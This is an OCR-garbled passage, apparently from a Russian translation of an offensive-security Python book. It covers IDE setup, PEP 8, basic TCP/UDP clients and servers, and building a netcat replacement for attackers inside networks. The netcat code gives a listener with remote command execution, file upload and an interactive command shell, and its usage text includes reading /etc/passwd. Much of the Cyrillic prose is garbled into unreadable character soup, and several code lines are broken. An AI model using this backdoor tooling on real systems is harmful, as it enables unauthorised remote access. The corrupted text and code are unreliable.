Bepcun) u Visual Studio Code (6ecrumarnas). Ixxkactun obokaer WinglDE (nmeer
KOMMepUecKyto u GecriatHyio Bepeun), a Tum ucrnosbsyer Visual Studio Code
(VS Code). Bee atu tpu IDE nocrynsbr 8 Windows, macOS u Linux.

PyCharm 1 WingIDE MoHO ckayaTh Ha cTpaHuUIax https://www.jetbrains.com/
pycharm/download/ u https://wingware.com/downloads/ coorBercTBenno. VS Code
MOKHO YCTaHOBHUTD B KOMaHHOH cTpoke Kali:

tim@kali#: apt-get install code

[Tocnennss Bepenst VS Code JIOCTYIIHA TaKyKe Ha cTpanulie https://code.visualstudio.
com/download/, ee MOKHO yCTaHOBUTD C IIOMOIIBIO apt-get:

tim@kali#: apt-get install -f ./code_1.39.2-1571154070_amd64.deb

Homep Bepcuu, ykasaHHbIIT B UMeHH (haiisia, HaBepHsIKa OyeT OTINYaThCs OT TOTO,
KOTOPBIN MOKa3aH 3/1eCh, MOITOMY yOEIUTECh B TOM, YTO MMsI B Ballleil KOMaH/Ie
COBTIQJIAET C TEM, UTO BBI CKAYaJIN.

Mpasuna opopmneHus kopaa

Yto ObI BBl HU MCIOJIb30BAJIN JIJIs HATIMCAHKS CBOMX TIPOrPaMM, BCerja CJeayer
cobJogaTh peKoMeHaIK 110 (hopMaTupoBaHuio Koga. OHU CAeIaloT Ball KO/
Ha Python Gosee yno6ounTaempivm 1 yiopsaodeHabiM. Ero Oyaer jierde moHsTh
KaK BaM, KOT/Ia BbI TIOTIbITAETECH €0 TIPOYUTATD YEPE3 KAKOE-TO BPeMs, TaK U TEM,
C KeM BbI PEITIIN UM TI0/Ie/InThest. Y coobiectBa Python ectb coorBeTcTByIOIIEE
pykoBozcTBO 1of HazBanueMm PEP 8. Ero momnas Bepcus HaXoauTes 1O azmpecy
https://www.python.org/dev/peps/pep-0008/.

HpI/IMepr B OTOU KHUTE, 3da HECKOJIbKUMU NCKJIIOYEHUAMU, B IIEJIOM COOTBETCTBYIOT
PEP 8. Kak BbI caMu yBUIUTE, TIPEACTABICHHBIN 37IeCh KO/ OPOPMJIEH IO CIIeY-
oeMy [IPUHITUILY:

from 1lxml import etree ©

from subprocess import Popen

import argparse @
import os
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def get_ip(machine_name): ©
pass

class Scanner: O
def __init_ (self):
pass

if _name__ == '_main__"': O
scan = Scanner()
print('hello")

B BepxHeii yacTu mporpaMMbl UMIIOPTUPYEM Hy;KHbIe HaM rakeTbl. [TepBoiit 610K
uHCTpyKIui umnopra @ nmeet Buj from XXX import YYY. Bee cTpouku B HeM pas-
MellleHbI B a1(haBUTHOM TIOPSI/IKE.

To xe caMoe OTHOCUTCSI K UMIIOPTY MOJYJIeil — OHM TOXKe OTCOPTUPOBAHDI 110
ashaButy @. ITO 1MO3BOJISIET OBICTPO OIIPEAETUTD, OBLIT JIU UMITOPTHPOBAH MAKET,
He MePeYnThIBasI KAKIYI0 CTPOUKY C MHCTPYKIIUAMU import. biarogapst aTomy Bb
TaKKe He UMIIOPTUPYeTE OJUH U TOT K€ MaKeT ABaKAbI. TaKol MoAX0 1 HallpaBjieH
Ha TO, YTOOBI IEPIKATh KO/ B TIOPSIKE 1 N30ABUTD BAC OT JIMITHUX PA3LyMHUiT TIPH
€ro [IOBTOPHOM YTEHUU.

3arem unyT hynkiuu O u ornpenenenusi @, ecyin Takosbie nmeioTcs. Hekotopbsie
IIPOTPAMMUCTBI TTOJTHOCTBIO OTKA3BIBAIOTCS OT KJIACCOB M O(DOPMJISTIOT BCE B BUIE
yakmuii. Ha 9TOT cueT HET KaKOTO-TO JKeJIe3HOTO MPpaBujia, HO €CIU Ballle Co-
CTOSTHUE XPAaHUTCSA B TJI0OATBHBIX TIEPEMEHHBIX WU OMHU 1 TE JKe CTPYKTYPHI
JAHHBIX TIePeJaroTCs PadHbIM (DYHKI[USM, 5TO MOKET ObITh IPU3HAKOM TOTO, UTO
mporpaMma ObLia Obl IOHATHEH, ecJin Obl €€ TIepPeIrcaIy ¢ IPUMEHEHUEM KIaCCOB.

Haxkomer, riasmplii 610K BHU3Y © 1103BOJISIET BaM UCIIOJIb30BaTh CBON KO/ ABYMSI
criocobamu. Bo-1iepBbIxX, MOJKeTE BBITIOJIHUTH €r0 U3 KOMaHAHOM CTPOKU. B aTOM
cilyyae BHYTPEHHUM UMEHEeM MOZYJIs OyeT __main__ U BBINIOJHSATHLCS OYAET II1aB-
HbI 0J10K. Tak, ecsin daiis ¢ KoM Ha3bIBAETCS scan. py, €ro MOKHO 3aIlyCTHTh
U3 KOMaH/IHON CTPOKH CJIELYIOIINM 00pa3oM:

python scan.py

WurepnperaTop 3arpy3uT HYHKIINU U KJIACCHI, HAXOAAIINECS B Scan.py, 1 BbI-
HIOJIHUT TJIaBHbII 0J10K. Bbl yBuanTe B KOHCOMM OTBET hello.

Bo-BTOpBIX, MOKETE IMIIOPTUPOBATH CBOM KOJI B IPYTOH ITporpamme He3 TOOOUHbIX
acbdhexToB, HapUMep BOT TaK:

import scan
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ITockosbky B KauecTBe BHYTPEHHEIO UMEHU MCIIOJIb3YeTCs Ha3BaHUe MOYJIS
Python scan, a He __main__, BBI moJIydnTe JOCTYIT KO BceM (DYHKITUSIM U KJIac-
cam, orpe/ieJIeHHbIM B JIaHHOM MOJLyJIe, HO TJIaBHBII OJIOK IIpU 9TOM He Oy/er
BBITIOJIHSATHCS.

BbI TakiKe 3aMETHTE, YTO MBI CTApAEMCSI He IaBaTh lePEMEHHBIM OeCCMbICJIEHHbIE
nmena. Yem Jydie Gyere Ha3bIBaTh CBOU ME€PEMEHHbIE, TEM TTOHITHER OyIeT
[porpaMmma.

Wrak, y Bac JOJKHBI ObITh BUPTYajibHas MaiiHa, Python 3, BupryanbHas cpezna
u IDE. Terrepb HaumHaeTCsT HACTOSIIEE Beceibe!



OCHOBHbIE
CEeTEeBbl€ MHCTPYMEHTDI

Certb Bcerga Obla 1 Oyzer caMoii coOa3HUTENbHOM
MJIONMAAKOM A Xakepa. ViMes oOBIYHBIN HOCTYII
K CeTH, B3JIOMIIMK MOJKET JeJIaTh IPAKTUYECKU UTO
YTOJHO: IPOBOJAUTH CKAHUPOBAHUE HA HAJUYKME KOM-
IBIOTEPOB, BHEAPATD IIAKEThI, aHATU3UPOBATh TpahUK
U 9KCILIyaTHpPOBaTh yaajeHHble y3ibl. Ho ecin Bam yia-
JIOCh 3a6paThCs B caMoe Cep/IIie KOPIOPAaTUBHOI CeTH, BbI MOJKETe
CTOJIKHYTHCS ¢ HETPUBHAIBHOM MPOOIEMOIl — OTCYTCTBUEM UHCTPYMEHTOB
JUIS IpoBeieHus ceTeBbix atak. Hu netcat, nu Wireshark, nu xommnungaropa,
HU BO3MOKHOCTH MX YCTaHOBHUTb. DTO MOYKET BAaC YAMBUTH, HO BO MHOTHUX I10-
TOOHBIX CJyYasX B3JOMILUKY AocTyieH nateprperarop Python. C aToro mbi
1 HAYHEM.

B 70ii riiaBe BbI mosiyurte 6a30Bble HABBIKK PAOOTHI C CETHIO € UCIIOIb30BAHIEM
MomyJid socket (BCIO IOKYMEHTAIMIO TIO HEMY MOKHO HAWTU HA cTpaHuile http://
docs.python.org/3/library/socket.html). MbI mocterneHHo pazpaboTaeM KIMEHTCKUE
U cepBepHbIe TPOoTpaMMBbl, a Takske TCP-mpokcu. 3aTeM mpeBpaTUM BCe 3TO B HATITY
cOOCTBEHHYIO 3aMeHy netcat BMecTe ¢ KOMaHHON 000J0YKOIL. DTO HOCTYKUT
OCHOBOH J1JId BCEX MOCJIEYIONINX TJIaB, B KOTOPBIX MBI CO3/IaJIUM UHCTPYMEHT JIJIST
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0OHApY KEHUST CETEBBIX Y3JI0B, KpocC-TIaThOPMEHHbIe aHATU3aTOPBI TpaduKa
1 hpefiMBOPK 7151 Y/IATIEHHBIX TPOSTHOB. [IpucTtymm.

Pabota ¢ ceTbio B Python B ogHom absaye

ITporpammucTam Ha Python gocTynen 1esbiii psifi CTOPOHHUX HHCTPYMEHTOB JIJIST
CO3/IAHUST CEPBEPOB M KJIMEHTOB, PAOOTAIOIINX 110 CETH, HO BCE OHU OCHOBAHBI Ha
OTHOM MOjyJie — socket. DTOT MOLYJIb ITPEXOCTABIISIET TOCTYI KO BCEM HEOOXO-
AWMbBIM KOMIIOHEHTaM 1JId 6bICTpOFO HallMCaHuA KJIMEHTOB U CEPBEPOB, B3aUIMO-
netictByiomux o TCP (Transmission Control Protocol — nportokou yripasiemist
nepemaueit) 1 UDP (User Datagram Protocol — mpoTokoJ1 moJib30BaTelIbCKUX
JlaTarpaMM ), IPUMEHEHUS CBIPBIX COKETOB U T. . Ha camom jiesre atoro Moyist
BIIOJIHE JIOCTATOYHO, /LISt TOTO YTOOBI MOJIYYUTh MJIU MOIEPKUBATH HECAHKITNO-
HUPOBAHHBII JIOCTYTI K ATAKyeMBIM KOMITbIoTEpaM. J[JIsT Hauama co3iaiM mpocThbie
KJIMEHTCKUE U CePBEPHBIC TIPOrPAMMbBI — JIBA BUJIA CETEBBIX CKPUIITOB, KOTOPbIE
BaM MPUJIETCS MHACATH Yallle BCETo.

TCP-knueHT

He cocuuratb, CKOJIBKO Pa3 BO BPeMsI TECTUPOBAHUS HA IIPOHUKHOBEHUE HaM (aB-
TOpaM) HY’KHO OBLJIO Ha CKOPYIO pyKy HarucaTh TCP-KJIHUEHT 1151 IPOBEPKU CEePBU-
COB, OTIIPABKY GECCMBICJIEHHBIX JIAHHBIX, TPOBEICHIST (DA33MHTA UJTN BBITIOTHEHST
KaKuX-1160 ApyTHX 3a1a4. Eciin Bol paboTaere BHYTPH KPYITHOTO KOPIIOPATHBHOTO
OKPY’KeHUsI, Y Bac He Oy/IeT TaKO# POCKOIIH, KaK CETEBbIE MHCTPYMEHTBI UITH KOMITH-
JIITOPBI, @ UHOT/IA BBI Oy IETE JIUIIEHBI IasKe CaMOTO 9JIEMEHTAPHOTO, HATIPHMED BO3-
MO>KHOCTH KOITUPOBAHUsI/BCTaBKN MH(MOPMAITMY UJIU TTO/IKIIOYEHUST K UHTEPHETY.
VIMEHHO B TaKMX YCJIOBUSIX CIOCOOHOCTH GBICTPO co3/taTh TCP-KIMEHT Ype3BbIyaitHo
nosiesra. Ho xBarur Gosrrats — masaiite mucath Koz! Bor mpocroit TCP-kimenT:

import socket

target_host = "www.google.com'
target_port 80

# co3paem obbekT cokeTa
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ©

# noAKMYaeM KIMEHT
client.connect((target_host,target_port)) @
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# oTnpaBnsemM Kakue-HUOYAb AaHHble
client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") ©

# NpuHMMaeM Kakue-HUbyAb [aHHble
response = client.recv(4096) O

print(response.decode())
client.close()

Chauajia cozaeM 00BEKT COKeTa ¢ mapaMerpaMu AF_INET u SOCK_STREAM ©. I1a-
pameTp AF_INET TOBOPHT O TOM, 4TO MbI OyIEM HCIIOJIb30BaTh CTaHAAPTHBIN apec
IPv4 win cereBoe nMs, a SOCK_STREAM 03Ha4aeT, 4To KJAUEHT Oy/er paboTarh 110
TCP. 3arem noakioyaemMcst K cepBepy @ u OTIPaBJIsieM eMy KaKue-TO JaHHbIe
B Buje OaiitoB ©. [TocseaHuii mar COCTOUT B TIOJIYYE€HUH U BbIBOJE OTBeTa @,
MOCJIe YeT0 COKET MOKHO 3aKPbITh. DTO mpocTeinuii BapuanT TCP-knmuenTa, HO
BBI Oy/IeTe TICaTh €T0 Yallie BCero.

B atom dparmMenTe Kozia es1a0TCs cephe3HbIe JOIYIEHUs HACUeT COKETOB, 1 BaM
orpeeIeHHO HYKHO 0 HUX 3HaTh. [lepBoe JomyleHne — coeiMHEeHNE BCeTia
ocTaercst cTabUJIbHBIM, BTOPOE — CePBEP JKIET, KOTJa Mbl IEPBBIMHU OTIIPABUM
JaHHble (HEKOTOPbIe cepBepbl CHavasla ILJI0T AaHHbIE, a 3aTeM OKU/IA0T OT Bac
orsera). TpeTbe IpeInoIoKeH1e 3aKII0YaeTCst B TOM, YTO CEPBEP BCErjia 1 BOBPEMS
BO3BpAIllaeT JaHHble. Bee 9T0 B OCHOBHOM IIPOAMKTOBAHO KeJAHUEM YIIPOCTUTh
KO/ B 1iporpaMMucTcKoil cpejie CylecTBYIOT pa3Hble MHEHHUS O TOM, Kak pabo-
TaTh ¢ GIOKUPYIOMIUMEI COKEeTaMu, 00pabaThIBaTh MX UCKJIIOYEHUS U T. I1., OZTHAKO
HIEHTECTEPHI JOBOJBHO PEIKO PEATU3YI0T TAKHE TOHKOCTH B CBOMX MHCTPYMEHTAX,
HAIMCAHHBIX HAa CKOPYIO PYKY JIst cOopa JaHHbBIX I 9KCILUTyaTalliy yaJeHHbIX
KOMIIBIOTEPOB, I0ITOMY B JIAHHOII IJIaBe MbI KX TOKe IIPOUTHOPUPYEM.

UDP-knueHT

B Python UDP-kinent masio orsdaercst ot TCP-kJieHTa, HaM HyKHO BHECTH BCe-
T0 /1B HEGOJIBIMIX U3MEHEHNST, UTOOBI OH MOT OTIIPABJIATD TakeThl B (hopmare UDP:

import socket

target_host = "127.0.0.1"
target_port = 9997

# co3paem obbekT cokeTa
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ©

# oTnpaBnfemM Kakue-HubyAb AaHHble
client.sendto(b"AAABBBCCC", (target_host,target_port)) @
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# npuHMMaeMm Kakue-HUbYAb AaHHble
data, addr = client.recvfrom(4096) ©

print(data.decode())

client.close()

Kak Bunure, IIpU CO3/1aHNU 0ObeKTa cokeTa Mbl TOMEHSJIM ero TUTI Ha SOCK_
DGRAM ©. /ajibiile HYKHO MTPOCTO BbI3BATh (hyHKIIMIO sendto() @ u nepenath eit
JIAHHBIE 1 cepBep, KOTOPOMY BBI XOTHUTE X OTIIpaBuTh. [lockoabky mpotokor UDP
He TIO/IIEP;KUBAET COeTMHEH NS, TIepe]l B3amMO/IeliCTBIEM HET BbI3oBa connect().
B komIie HyKHO BbI3BaTh recvfrom() ©, uroOsl mosryunts orserHbie UDP-gamniibie.
Bbl MoKeTe 3aMETUTD, UTO BMECTE C JJaHHBIMU 9TOT BBI30B BO3BpaliaeT nHdopma-
110 00 y1aJIEeHHOM a/ipece U MOPTe.

WV BHOBb MbI He IIbITaeMcsl ObITh IPEBOCXOAHBIMU CETEBBIMK IIPOIPAMMUCTAMKI —
HaM HYy’KeH OBICTPBIN, TIPOCTOM M HAEKHBIN CITI0CO0 MUCAaTh WHCTPYMEHTDI JIJIST
BBITIOJIHEHUS TTOBCEIHEBHBIX XaKePCKUX 3aj1a4. /laBaiiTe mepeiizieM K CO3/[aHUIO
[IPOCTBIX CEPBEPHBIX IIPOTPAMM.

TCP-cepBep

B Python TCP-cepBepbl co31a10TCsI TaK 5Ke IPOCTO, Kak 1 KareHTbl. CoOCTBEHHbII
TCP-cepBep MOKET IPUTOAUThLCS IIPH HAIIMCAHUT KOMAHIHBIX 000I09EK UJIH IIPOK-
cu-cepBepoB (1 TO, U IPYTOe MbI peaynsyeM mo3xke ). J1/1a Hagama co3naiM CTasaapT-
HbIii MHOTOTIOTOYHBIN TCP-cepBep. HabepuTe B CBOeM pelakTope CJIEYOIIUiT KO

import socket
import threading

IP = '0.0.0.0'
PORT = 9998

def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((IP, PORT)) ©
server.listen(5) @
print(f'[*] Listening on {IP}:{PORT}")

while True:
client, address = server.accept() ©
print(f'[*] Accepted connection from {address[@]}:{address[1]}")
client_handler = threading.Thread(target=handle_client,
args=(client,))
client_handler.start() O

def handle_client(client_socket): ©
with client_socket as sock:
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request = sock.recv(1024)
print(f'[*] Received: {request.decode("utf-8")}")
sock.send(b'ACK")

if __name__ == '__main__":
main()

Brauasne mbl iepepaem [P-agpec u mopt, KOTOPBIN OKEH TTPOCTYIIUBATD HATIT
cepsep @. 3areM TPOCUM CepBEP HAYATh MPOCIYITNBaHNe @, yKa3aBs, YTO OTJIO-
JKEHHBIX COeIMHEH I TOJKHO OBITH He OOJIbIIe TISATH. 3aTeM cepBep BXOIUT B CBOI
TJIABHBIH ITUKJT, B KOTOPOM JKJIET BXO/id1Iee coeamHente. [Ipu mogkmoyeHny kim-
enTa © MbI TIOJTyYaeM KIUEHTCKII COKeT B epeMenoii client u moapobHocT 06
yIQJIEHHOM COeJIMHEHNH B TIepeMeHHOiT address. 3arem co3iaeM 00BEKT HOBOTO
MOTOKA, KOTOPBIN YKa3bIBaeT HA HalTy (byHKINIO handle_client, n mepemaeM aTou
hyHKITMYM KIreHTcKoe coepnHenre @. B aTOT MOMEHT TJIaBHBIN TIMKJ cepBepa
0CBOGOKIAETCST 117151 00PAbOTKH CJIEYIOIIETO BXOSIIEro coenaenst. DyHKimst
handle_client © BBITIOJHAET BBI30OB recv(), OCJIe YeTo BO3BPAIAeT KJIUEHTY
IIPOCTOE COOOIIIEHME.

Ecau BocmospsoBaThes TCP-kameHTOM, KOTOPBIM MBI CO37IalId paHee, MOKHO
MOCTaTh CEPBEPY HECKOJIBKO TPOBEPOUYHBIX MTAKETOB. BbI MOKHBI YBUIETDH CJe-
JIYIOITNIA BBIBOJL:

[*] Listening on 0.0.0.0:9998
[*] Accepted connection from: 127.0.0.1:62512
[*] Received: ABCDEF

Bot u Bce! HecmoTps Ha ¢BOIO TPOCTOTY, 9TO OUE€HB TTOJIE3HBIH KO B cremyiommx
pasjiesiax Mbl €T0 PACIIUpUM U HarnuieM 3ameny netcat u TCP-mipoxcu.

3ameHda netcat

Netcat — aTo yHUBepCATbHbBIN CETEBON MHCTPYMEHT, II03TOMY HEYANUBUTEIbHO,
4TO MPOHUIATETHHBIE CUCTEMHbBIE AIMUHICTPATOPBI YOUPAIOT €r0 U3 CBOUX
cucreM. On mpuiiresicst Obl O4€Hb KCTATH, €CJU Obl 3JI0YMBINIEHHUKY YAAJI0Ch
npobpaTbest BHYTPh. Netcat MO3BOJISIET YUTATh U 3alIUCHIBATD JaHHbBIE 1O BCeil
cetH, Gyrarosiapsi 4eMy Bbl MOJKET€e MCIOIb30BATH €T0 JIJIsI BBITOJHEHUST yaIeH-
HBIX KOMaHJ, Itepefaun GhaijgoB Tya-cro/a Wi Jaske COeJUHEHUS C YIATeHHOI
KOMaHZHOI 06010ukoii. HaM He pas monazaauck cepBepbl, Ha KOTOPBIX He ObLIO
netcat, no 611 Python. B takux ciydasix mMeeT CMBICJ CO3/IaTh MPOCTHIE CeTe-
BBIE KJIWEHT U CEPBEP /I OTIPABKU (PailIOB NN MOAKIIOYEHNS C JOCTYTIOM
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K KOMaH/IHOH cTpoke. Eciin BbI Ipo6painch BHYTPb Yepes BeO-IPUIoKeH e, BaM
OTIpefieJIEHHO CTOUT MPeAyCMOTPeTh YHKIMIO 0O0paTHOro BhizoBa Ha Python,
4TOOBI MTOJIYYUTh JOTIOJHUTEIbHBIN TOCTYI, He PACKPBIBAsI OIUH U3 CBOUX TPO-
sHOB WK 69k10poB. K TOMY JKe CO3/laHre TaKOTO MHCTPYMEHTA 6y/:[eT XOpOUINM
yIpaXHeHUEM B IPOTPAMMUPOBAHUN Ha Python, MOATOMY JlaBaliTe IPUCTYIIIM
K HalMCcaHWIo netcat.py:

import argparse
import socket
import shlex
import subprocess
import sys

import textwrap
import threading

def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(shlex.split(cmd), ©
stderr=subprocess.STDOUT)

return output.decode()

3/1ech Mbl IMIIOPTUPYEM BCE HY’KHbIe OMOIMOTEKU U OTpe/eisieM HyHKIHIO
execute, KOTOpasi MOJTy4aeT KOMAH/LY, BBITIOJIHSIET €e U BO3BPAIIAET BHIBO/[ B BUJIE
CTPOKHU. ITa GYHKIHS UCTIONB3YET HOBYIO OUOIMOTEKY, KOTOPYIO MBI €eliie He 00-
cyknanu, — subprocess. OHa TpeIOCTaBISIET MOITHBIN HWHTEPGhENC 71T CO3TaHMS
MPOIIECCOB, € TOMOIIBIO KOTOPOTO BBl MOJKETE B3AUMO/IEHCTBOBATD C KJIMEHTCKIMHU
[porpaMMaM¥ HeCKOJIbKUMHE criocobamit. B ranHom ciryuae @ Mbl HCIIOIb3YEM ee
MeTo/1 check_output, KOTOPBIiT BBITIOJIHSIET KOMAH/LY B JIOKQJIbHOMN OTI€PAIIMOHHOI
CHCTEMe 1 3aTeM BO3BPAIAET BBIBOJ[ 9TOU KOMAH/IBI.

Terepb co3/1aMM rIaBHbINA GJIOK, OTBETCTBEHHBIH 32 pa3b0p apryMeHTOB KOMaH/I-
HO¥ CTPOKH U BBI3OB OCTATBHBIX HAMUX (PYHKITHIA

if __name__ == '__main__"':
parser = argparse.ArgumentParser( ©

description="BHP Net Tool',

formatter_class=argparse.RawDescriptionHelpFormatter,

epilog=textwrap.dedent('''Example: @
netcat.py -t 192.168.1.108 -p 5555 -1 -c # kKomaHAHas obonoyka
netcat.py -t 192.168.1.108 -p 5555 -1 -u=mytest.txt
# 3arpyxaem B ¢ain
netcat.py -t 192.168.1.108 -p 5555 -1 -e=\"cat /etc/passwd\"
# BbIMOJSHAEM KOMaHAy



30 Fnaea 2. OcHoBHbIE ceTEBblE MHCTPYMEHTDI

echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135

# wnem TeKCT Ha nopT cepsepa 135

netcat.py -t 192.168.1.108 -p 5555 # coeauHAemca cC cepBepom
)

parser.add_argument('-c', '--command', action='store_true',

help="'command shell') ©
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-1', '--listen', action='store_true', help="listen")

parser.add_argument('-p', '--port', type=int, default=5555,
help="'specified port")
parser.add_argument('-t', '--target', default='192.168.1.203",
help="'specified IP")
parser.add_argument('-u', '--upload', help='upload file")
args = parser.parse_args()
if args.listen: O
buffer = "'
else:
buffer = sys.stdin.read()

nc = NetCat(args, buffer.encode())
nc.run()

Jlnst coznanus naTepdeiica KOMaHIHOM CTPOKU MBI UCTIOJIb3YEM MOJTYJIb argpar-
se @ u3 craHapTHOI 6ubmorexu. [TpegocTaBUM apryMeHTbI, UTOOBI €10 MOKHO
ObLIIO BBI3BIBATD JIJIST 3arPYy3KH (hailioB Ha cepBEP, BBITTOJTHEHUST KOMAH/T UJIH 3a-
yCKa KOMaHIHOI 060JI0YKH.

MpbI TakKe MpelocTaBIIsieM CIIPaBKy O TPUMEHEHNUH, KOTopasl BBIBOANUTCH, KOT/a
M0JIb30BATEJIb 3AYCKAET IIPOrPaMMy € TTapaMeTpoM --help @. B Heii nepeunc-
JIEHBI [IECTH APTYMEHTOB, KOTOPBIE OTIPEIETISIIOT TO, KaK I0JKHA BeCTh cebst po-
rpaMma ©. ApryMeHT -c MoJArOTaBJINBaeT MHTEPAKTUBHYIO KOMaHIHYIO 000JI0UKY,
-€ BbIIIOJIHAET OT/IEJIbHO B3ATYIO0 KOMaH/Y, -1 TOBOPUT O TOM, UTO HYKHO ITOATO-
TOBUTH CJIYIIATEISI, -p TO3BOJISIET YKa3aTh MOPT, HA KOTOPOM GY/IET MTPOUCXOAUTh
B3aMMOjielicTBuE, -t 3amaeT IP-anpec, a -u ompenenger nma daiina, KOTOPHIT
HY’KHO 3arpy3uTh. C 9T0ii IporpaMMoii MOTyT paboTaTh KaK OTIIPaBUTEb, TaK
1 TIOJTyYaTesIb, TOATOMY TTapaMeTPhl OTIPE/IeIAIOT, /711 4YeTo OHA 3aIlyCKaeTes — I
OTIIPABKU WJIN ITPOCTYITNBAHUA. AprMeHTbI -C, -e ! -uIo/IpadyMeBaroT HaJan4yune
-1, Tak KaK OHU TTPUMEHUMBI TOJTBKO K TOW CTOPOHE B3aUMOJIEHCTBUS, KOTOpPas
cayraet. OTHPaBIISIONIAsi CTOPOHA COEUHSIETCS CO CAYIIATETIEM, U, YTOOBI €ro
OTIPENIENTNTD, €if HY>KHBI TOJIBKO IMapaMeTpPhI -t U -p.

Ecom nporpamma ucnosib3yeTcst B KauectBe ciyiiatesisi @, Mbl BbI3bIBaEM 0OBEKT
NetCat ¢ mrycTbiM cTPOKOBBIM Oyepom. B ipotuBHOM cityuae coxpatsieM B Oydep co-
nep:kuMoe stdin. B KoHIle BbI3bIBaEM METO/ run, 9TOOBI 3aITyCTUTD IPOTPAMMY.
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Ternepsb HauHeM coOUpaTh HEKOTOPbIE U3 ATUX (DYHKIII BMecTe, HauMHas ¢ HAIIero
KJIMEHTCKOro Koja. /lo6aBbre B IIaBHBIN OJIOK CIIeyIOLIee:

class NetCat:
def __init_ (self, args, buffer=None): ©
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

def run(self):
if self.args.listen:
self.listen() ©
else:
self.send() O

Mbr nauimanusupyeMm o0beKT NetCat ¢ MOMOIIBIO APTYMEHTOB M3 KOMaH/HOI
crpoku 1 6ydepa @, 1ocie yero cosaeM 0ObEKT coKeTa @.

MeToz run, KOTOPBIN CIY/KUT TOYKON BXOZA /IS yIIpaBieHns o6bekToM NetCat,
JIOBOJIBHO TIPOCT: OH JIeJIETUPYET BBITTOJTHEHNE IBYM APYTUM MeToaM. Eciin Ham
HYZKHO TIOJITOTOBUTD CJIYIIIATe s, BBI3bIBaeM MeTOI listen ©, a ecsiv HET — METO]I
send @. [TocyieiHUI BBITJIAANUT TAK:

def send(self):
self.socket.connect((self.args.target, self.args.port)) ©
if self.buffer:
self.socket.send(self.buffer)

try: @
while True: ©
recv_len =1
response = '
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode()
if recv_len < 4096:
break @
if response:
print(response)
buffer = input('> ')
buffer += '\n’
self.socket.send(buffer.encode()) ©
except KeyboardInterrupt: O
print('User terminated.')
self.socket.close()
sys.exit()
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Mpr mogikIoyaeMcs K cepBepy € 33JJaHHBIMU aJipecoM U opToMm @ 1 mepesiaemMm
emy Oydep, oH y Hac ecTh. 3aTeM HCHOJb3yeM OJI0K try/catch, 4ToObI UMETDH
BO3MO’KHOCTB 3aKPBITh COeJIMHEHNE BPYUHYIO HaxkaTueM Ctrl+C @. /lambire Ha-
YIHAaeM UK ©, 9TOOBI TIOIYYUTh JTaHHBIE OT I[eJIEBOTO cepBepa. Ecin faHHbIx
6oJibIlie HET, BBIXOAUM U3 InkJaa @. B mpoTUBHOM cilydyae BBIBOIAMM OTBET,
OCTaHABJINBAEMCS, YTOOBI TOJYUUTh MHTEPAKTUBHBIN BBO/I, OTIIPABJIsieM €ro ©
U TIPOJIOJIZKAEM TTUKIL.

[Tuks Oyzmer paboraTh, MOKa He TPOU3OIIET UCKIIOUeHe KeyboardInterrupt
(CtrlI+C) @, B pe3yJbTaTe 4eTo 3aKPOETCS COKET.

Ternepp HaTIUIIIEM METO/T, KOTOPBIN BBITIOTHSIETCS, KOT/IA IIPOTPaMMa 3aITyCKaeTCst
JUISL IIPOCJIY LT BAH ML

def listen(self):
self.socket.bind((self.args.target, self.args.port)) O
self.socket.listen(5)
while True: @
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(®
target=self.handle, args=(client_socket,)

)
client_thread.start()

Mertog listen mpuBsi3bIBaeTcs K ajipecy v mopTy @ u HAYMHAET TTPOCTYIMBAHNE
B 1UKJIe @, TiepeiaBast TIOAKJIIOUMBIIIIECS COKETBI MeTo/ly handle ©.

Tenepb peannsyeM JIOTURY [JId 3arpy3Ku (l)aﬁJIOB, BbITIOJIHEHHWA KOMaH/[ 1 CO3/1a-
HUA HHTepaKTHBHOﬁ KOMaHIIHOﬁ 000JIOUKH. HporpaMMa MOJKET BBIIIOJIHATD 9T
3a/laHuA B PEKUME ITPOCJIYIITNBaHUA:

def handle(self, client_socket):
if self.args.execute: ©
output = execute(self.args.execute)
client_socket.send(output.encode())

elif self.args.upload: @
file_buffer = b"'
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break

with open(self.args.upload, 'wb') as f:
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f.write(file_buffer)
message = f'Saved file {self.args.upload}’
client_socket.send(message.encode())

elif self.args.command: ©
cmd_buffer = b'"'
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b"'
except Exception as e:
print(f'server killed {e}")
self.socket.close()
sys.exit()

Meton handle BBITTONHSET 3a[aHNE€ B COOTBETCTBUN C TIOJTYUYEHHBIM apTryMeH-
TOM KOMaHJIHOHM CTPOKU: BBITIOTHSIET KOMAH/Y, 3arpyskaeT (aiiyr UIn 3armycKaer
KOMaHIHYI0 060104Ky. Eciii HYy;KHO BBINOJHUTH KoMaHay @, MeTos handle
nepezaet ee (hyHKIMU execute ¥ IIJIET BBIBOA 0OpaTHO B COKeT. Eciu HY;KHO
3arpysuTh (aiis @, Mbl BXOJIMM B IIUKJI, 4TOOBI 1MOJy4aTh JaHHBIE U3 TPOCIY-
IITUBAIOIIETO COKETA, IO TeX TOP MOKa OHU He MePeCTaHyT MOCTyNaTh. 3aTeM 3a-
MICHIBAEM HAKOILJIEHHOE COEP;KIMOe B 3a/lanubli hatin. Hakowner, ecan HY:KHO
co3/aTh KOMaHHYIO 060J104KYy ©, Mbl BXOIUM B IIUKJI, TlepeJaeM OTIPABUTEJIO
MpuUrIameHe KOMaHHOW CTPOKY U XKJIEM B OTBET CTPOKY € KOMaH/[0#. 3aTteM
BBITTOJTHSIEM KOMAH/Iy C ITOMOTIbI0 (DYHKIIUU execute W BO3BPAIAeM €€ BbIBOJ
OTIPABUTEJIIO.

MO3KHO 3aMETHTD, YTO B Ka4eCTBe CUTHAJA JJIst 00pabOTKI KOMaH bl KOMaH/[Hast
